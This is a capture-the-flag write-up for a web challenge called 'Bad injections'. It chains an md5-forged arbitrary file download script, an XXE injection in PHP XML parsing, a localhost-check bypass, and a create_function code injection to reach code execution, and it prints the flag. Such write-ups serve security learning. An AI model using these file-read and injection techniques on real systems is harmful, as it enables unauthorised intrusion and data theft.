Rating: 5.0
# Bad injections
## Prologue
This was a hard challenge for me, I banged my head a bit, but, all in all, I learned a lot, so thanks for this fun challenge!
## Enumerating the challenge

On the website we don't see much, except four tabs. The home, about, contact pages don't have anything of interesting. The contact page injection is a rabbit hole.
In the list source code we see:
```
download?file=files/test.txt&hash=293d05cb2ced82858519bdec71a0354b
```
The hash is md5, so that gives us file retrieval from anywhere in the server, using a script:
```
import requests
import hashlib
import sys
dfile = sys.argv[1]
m = hashlib.md5()
m.update(dfile)
dhash = m.hexdigest()
print "downloading file: {0}, md5sum: {1}".format(dfile, dhash)
print "http://68.183.31.62:94/download?file={0}&hash={1}".format(dfile, dhash)
c = requests.get("http://68.183.31.62:94/download?file={0}&hash={1}".format(dfile, dhash))
print c.content
```
## XXE injection
In /app/Routes.php we can see:
```
Route::set('custom',function(){
$handler = fopen('php://input','r');
$data = stream_get_contents($handler);
if(strlen($data) > 1){
Custom::Test($data);
}else{
Custom::createView('Custom');
}
});
```
It takes some input from HTTP request and then passes it on to Custom::Test.
Custom::Test contains:
```
class Custom extends Controller{
public static function Test($string){
$root = simplexml_load_string($string,'SimpleXMLElement',LIBXML_NOENT);
$test = $root->name;
echo $test;
}
}
?>
```
We can use XXE injection to retrieve files (and something else!). Using Burp we can test this.
As we can see the XXE injection is functional. But we can't really do anything with it right now.
## Localhost bypass
Routes.php also contains:
```
Route::set('admin',function(){
if(!isset($_REQUEST['rss']) && !isset($_REQUES['order'])){
Admin::createView('Admin');
}else{
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){
Admin::sort($_REQUEST['rss'],$_REQUEST['order']);
}else{
echo ";(";
}
}
});
```
Which checks if you're coming from localhost or from other address and depending on this it either echoes or calls Admin::sort.
Admin::sort contains:
```
usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
```
Which is an obvious code injection, which we can use. It also contains some other XML stuff, that's easily craftable.
## Everything put together
We use the XXE injection to bypass localhost protection, then make a request to /admin route which then can give us code execution.
```
]>
<root><name>&xx;;</name></root>
```
And we get the flag:
```
f#{1_d0nt_kn0w_wh4t_i4m_d01ng}
```
## Conclusion
This was a really hard challenge for me, but I felt so proud when I solved it. Shout-out to Fireshell for making this great chal.